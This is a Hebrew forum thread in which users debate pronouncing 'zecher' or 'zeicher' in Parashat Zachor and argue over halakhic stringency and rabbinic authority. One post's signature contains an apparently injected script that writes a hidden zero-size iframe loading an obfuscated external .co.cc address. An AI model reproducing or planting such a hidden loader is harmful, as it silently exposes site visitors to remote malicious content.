בית פורומים עצור כאן חושבים

זכר או זייכר ?

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-19/3/2014 19:20 לינק ישיר 

מורד

ברוך השב!

הערות על דבריך

א. מה ראו באי הפורום לזלזל ככה במנהג נכון לדקדק בקריאה הגונה?

איני יודע לדבר עבור אחרים, אבל בעיני המילה "מנהג" תמיד מעוררת חשש. ולגבי "קריאה הגונה" יש לברר מהי ועד כמה היא נדרשת. ואם הופכים אותה לדבר המעכב, האם אין לתמוה על זה?

ב. אזכיר נא בזה, כי אחר כל החשבונות סוכ"ס בשולחן ערוך נפסק לחייב בקריאת זכור מדאורייתא.

ומה סמכותו של השו"ע לחייב? איני בא לזלזל חלילה אלא לברר. יש כבר אשכולות שבהם תואר התהליך שבו בחר בעל השו"ע להכריע במחלוקות. לא על פי הבנת השיטות והכרעה לפי מה שנראה כאמת ההלכתית, אלא על פי משקל ורוב. נכון שעם ישראל התרגל לחשוב שכך ראוי, אבל זו נקודה שיש לשאול עליה. נניח שאני בוחן ומגלה שהשו"ע דייק ודעתי שונה. האם עלי לבטל את דעתי? מדוע?

יש כמובן בשאלות כאלו סכנה של יהירות ושל פריקת עול, אבל זה לא אומר שהן לא נכונות.

כל זאת בלי לבדוק מה כתוב בשו"ע עצמו, מה פסק ומה נימוקיו. ואין זמני בידי לבדוק אבל אולי תעתיק לכאן?

ג. השאלה אם לקרות בחמש או בשש נקודות עתיקה היא, והגר"א ותלמידיו כבר נתחבטו בה.

כמדומה שהשאלה עתיקה הרבה מלפני הגר"א כפי שנתבאר כאן. ולא טענו שאין זו שאלה היסטורית עם נפקויות קריאה. זו כן שאלה אם יש הבדל בקריאה בין צירה לסגול (למבטא העברי של ימינו והספרדי אין) וכן אם ההבדל הזה מעכב גם למי שסבור שיש כזה הבדל.

ד. הלכה פסוקה בשו"ע הל' ק"ש כי כל הדקדוקים שנמנו בבברכות לגבי ק"ש ושלא להניד הנח ולהניח הנד יש לדקדק בהם ג"כ לענין ברכות ק"ש ופסוקי דזמרה, שהם מדרבנן ויש מהם ממנהג בעלמא.
וא"כ ק"ו בן בנו של ק"ו שכן ראוי גם בקריאת זכור שהיא דאורייתא, ויפה פסק כן במשנה ברורה להחמיר בזה.


יש לעיין במקורו של השו"ע לקביעה זו. שמא כוונתך שלא להדביק יחד מילים כך שייווצר צירוף בעל משמעות אחרת? אם כן, השאלה היא אם הבעיה היא שזה נשמע כטעות או שיש חובה לבטא בדיוק לפי המבטא העברי המקורי (ומי יכול לדעת מהו).

אם זו השאלה, הרי זו מחלוקת בין הרמב"ם והראב"ד, אם זכרוני אינו מטעני. הרמב"ם למד שיש להישמר מטעות, ותו לא. ואילו לראב"ד כמדומה שזה ענין מאגי, כי יש השפעות לניקוד המדוייק.

ושוב, גם אם אסכים שיש חשיבות להשתדל במבטא הנכון - אם יודעים מהו, ויש לי פקפוקים רבים לגבי המבטא המקובל בעדות אשכנז - אזי האם זה מעכב בדיעבד? האם זו לא טרחה דציבורא, והאם זו לא הדגמה של התעסקות בטפל? החמרה כפולה במקום שאינו צריך? ולכן דוגמא רעה? (אם כי אפשר לטעון שזו דוגמא טובה לאהבת מצוות, אפשר לטעון שזו דוגמא רעה מצד זה שמטריחים את הציבור במקום שאין צורך).

בכל אופן, תודה על הערותיך המחכימות.

ו*** בשל טעות בהעתקה נקרע חלק מהתגובה של מורד ואעתיקנו בתגובה אחרת ***

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 19/03/2014 19:21:35




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/3/2014 19:25 לינק ישיר 

עוד כתב מורד

ה. מה לכם כי תלינו??????????

וכי אין ראוי לאדם למחות על טעות, וכי החמרה שלא לצורך אינה טעות?


ו. אגב, גם הנדון אם לקרות הפסוק כולו ב"פ או רק מילות זכר עמלק ששמוהו ללעג בזה [לעג שריחו בא מהמתחדשים ה"י] גם הוא מקורו טהור, כנודע משם הר"ח מבריסק שאחר שיצא עיקר המצוה שוב אינו יכול לצאת ההידור, והנה דקדוק מילת זכר וודאי הוא הידור בעלמא, ואחר שקרא כל הפרשה ויצא י"ח שוב אין טעם בקריאת הפסוק פעם ב', שכבר יצא י"ח בפעם הא' בלא ההידור בדקדוק הקריאה, ולכך כדאי לחזור מילת "זכר" קודם שיסיים את קריאת הפרשה.

[הגר"ח ז"ל מיירי לגבי מי שיש לו אתרוג א' ספק מורכב מהודר ביותר במראהו וצורתו, ואתרוג ב' ודאי אתרוג הוא אבל לא תואר ולא הדר לו, ואמר הגר"ח שיטול את הספק מורכב ראשונה, שאם יטול את הוודאי אתרוג כבר יצא י"ח בלא ההידור, אבל כשיטול את הספק יצא י"ח ההידור להצד דזהו אתרוג, ואח"כ יטול את הוודאי]

אני ממש מתפעל מן הלמדנות. אבל כמדומה שיש בה חסרון. לפי הניתוח שלך, האם זה לא אומר שההקפדה על צירה וסגול אינה אלא הידור ולא מצוה עצמה? שיוצאים גם באחד מהם? דברי מבוססים על השוואה בין הסיפור על הגר"ח לבין המקרה של קריאה כפולה. אולי תרצה לבאר יותר את האנלוגיה.

ו2 כתבת שביקורת כזו אופיינית למחדשים. ואני משער שכוונתך למשכילים. אבוי לנו, שראשוני המשכילים ביקרו תופעות שהיו ראוי לבקר, ורק בהמשך יצאו ונלחמו בעיקר. ושמא גם תגובת הרבנים שלא היו מוכנים להודות שיש ביקורות ראויות היא שדחפה את יורשיהם החוצה. וזו נקודה חשובה מאד. מי שמגן על הטפל מרתיע את מי שאינו יכול לסבול בזבוז זמן על הטפל וחפץ בעיקר.

_________________

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/3/2014 19:42 לינק ישיר 

מימוני
אני רק הערה קטנה - לחוש לטירחא דציבורא בקריאת פעמיים (נניח תוספת של 40 שניות) זה גם נוטה לדקדוקי עניות שכנגדם אתה נלחם



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/3/2014 19:43 לינק ישיר 

לגבי דברי הגר"ח הידועים על האתרוגים יש להעיר:
ראשית, זה כבר מופיע בבית הלוי (על ציצין המעכבין את המילה).
שנית, גם בשאג"א כבר דן בזה לגבי סוגיית מנחות דהיו לפניו שתי חטאות שמינה וכחושה.
שלישית, לעצם הנחתו של הגר"ח יש להעיר מדברי הראב"ד שהובאו בשו"ת הריב"ש בשני מקומות שמי שקידש אישה בשליח יחזור ויקדש אותה בברכה (!) בעצמו, משום מצווה בו יותר מבשלוחו. ודוק היטב.



דדווח על תוכן פוגעני

מנותק
נשלח ב-19/3/2014 20:12 לינק ישיר 

תלמיד טועה

אתה צודק.

מסתבר שזו נטייתי נגד החמרות ונגד מנהגים.

מצד שני, יש כאן מדרון חלקלק. אם מתירים לחזור על הקריאה פעמיים, יוצרים דגם של זהירות שמביאה לידי הכפלה. ואנו רואים לאן זה מגיע.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/3/2014 20:22 לינק ישיר 

גם במקרה ההפוך יש מדרון חלקלק. ובדיוק ממנו פחדו הרבנים בזמן ראשוני המשכילים (ואולי אפשר לטעון שגם הוכח שצדקו)



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/3/2014 22:11 לינק ישיר 

אנחנו מקפידים מאד מאד לקרא מספר תורה מוגההה, בלי כל אפשרות לטעות, ואם ח"ו טועה בעל הקורא  אפילו בניקוד שלא כתוב, מיד נרעשים כולם ומתקנים את בעל הקורא הנבוך,
וכל כך למה, שלא יצא איזו טעות בהבנתו של אדם הלא בקי. ויחשוב שכך כתוב. וינחיל את טעותו אחריו.

אבל בשביל חומרה משונה לא מבוססת, ואין ה כל צורך עניני.. משנים מוסיפים וכ' ומצפצפים על מסורת דורות. מסורת והלכה  מבוססת



דדווח על תוכן פוגעני

מנותק
נשלח ב-20/3/2014 13:44 לינק ישיר 

אריאל

משפטים מהסוג של "אילו היו עושים הפוך אז" קשה להוכיח.

גם איני מתמצא במה שהיה בימים ההם. אבל כמדומה שההקשחה של העמדות מול ביקורת ההשכלה רק גרמה למדרון החלקלק. אבל צריך לבדוק ולא לכתוב סתם - אני כותב זאת לעצמי.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/3/2014 18:58 לינק ישיר 

כרגיל, ההליכה בקצוות היא הנוחה ביותר, אלה מקצינים בהחמרה, ואלה מזלזלים בכל החמרה אפי' כשיש לה בסיס בתלמוד, כשהדרך הקשה היא להלך בין הטיפות ולשקול בזהירות שלא תהיה נטיה לכאן או לכאן, אלא בירור ההלכה גרידא, מבלי לערב בה שיקולים חיצוניים לה.

וכבר ידוע הסיפור, על האדמו"ר מסאטמער שרצה לשלוח משלחת לר' משה פיינשטיין למחות על קולתו הגדולה בענין המחיצה בין נשים לגברים, כשלבסוף אמר לאנשי המשלחת אבל במה תתווכחו עם ר' משה, הרי צריך להוכיח לו בדרך הלכתית שהוא טועה ולא די לבוא עם השקפה, ונתבטלה המשלחת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-21/3/2014 09:50 לינק ישיר 

מימוני
לגישתך חומרא דר"ז לא היתה מתקבלת
ואגב - מדוע לא להקל בעצכח בביה"כ (אשכול סמוך  שנכתב בפורים דמוקפי מוקפין) שהרי ביכ"כ שלנו ריחו סביר מחשש למדרון?



דדווח על תוכן פוגעני

מחובר
נשלח ב-24/3/2014 01:19 לינק ישיר 

ת"ט

יש לבדוק כל דין לגופו. אכן חומרות אינן אהובות עלי. אני סבור שכל מי שרוצה להחמיר צריך לשבת על החומרה שבעה נקיים (ביטוי, רק ביטוי).

כיון שלא חשבתי על הצדדים די הצורך, איני יכול לפסלו. בכל אופן, יש מקום לומר שמדובר במנהג (ולכן אין תוקפו יותר ממנהג) או שזו תקנה דרבנן (כיון שהוא מובא כ"הלכה פסוקה" וכך כתבו אחרונים, כידוע).

לגבי הקלה של קריאה בשירותים, כיון שמדובר בקריאה כמדומה בזמן שאדם מתפנה, זה שונה מאשר להיכנס לחדר השירותים שלא בשעת שימושו שאז הוא אמור להיות נקי.

אבל אולי נניח את הדיון בשירותים לאשכול המיועד לדיון הזה?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/3/2014 01:29 לינק ישיר 

מיימוני, גם כל מי שמקל צריך לשבת שבעה נקיים? ובעניין המשכילים, לא נראה לי סביר להאשים את הממסד בחטאיהם. כל אדם אחראי לבחירתו. לעומת זאת, המדרון החלקלק שהם יצרו לעצמם נראה די גלוי לעין.



דדווח על תוכן פוגעני

מחובר
נשלח ב-24/3/2014 06:38 לינק ישיר 

אריאל

עוררת שאלה גדולה.

כל מי שמשנה מן ההלכה הקיימת צריך לשבת שבעה נקיים.

יש סכנות בכל צד.

מסתבר, לאחר שאני מהרהר על דבריך, שיש להבדיל בין שינוי עקרוני, כגון תוספת של תקנה, לבין שינוי פרטי, כאשר רב מסתמך על כוח דהיתרא כדי להתיר מה שנחשב לאיסור מקובל, או שהוא מביע חשש כדי להורות על איסור בשאלה פרטית.

בשאלות פרטיות, לדעתי צריך להיזהר ביותר מפני איסורים. וזו תופעה שכיחה בין רבני זמננו, במיוחד בציבור החרדי.

בשאלות כלליות, מסתבר שהתשובה תלויה גם בתקופה ובצורת ההלכה המקובלת. לא הרי ימי חז"ל שבהם רוב ההלכות היו נתונות והיו מצבים שעוררו צורך או בסיס להחמיר ולאסור, כמו ימינו אלו.

לדעתי כדאי לפתוח אשכול מיוחד לשאלות אלו, ובו להביא דוגמאות: מצבים בעייתיים, סוגי תשובות, הנמקות לסוגי תשובות, תקופות ומקומות. אם תוכל למצוא זמן ולפתוח אשכול כזה, מוטב. איני יודע מתי בזמן הקרוב אוכל להתפנות לעשות זאת כראוי.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > זכר או זייכר ?
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 סך הכל 4 דפים.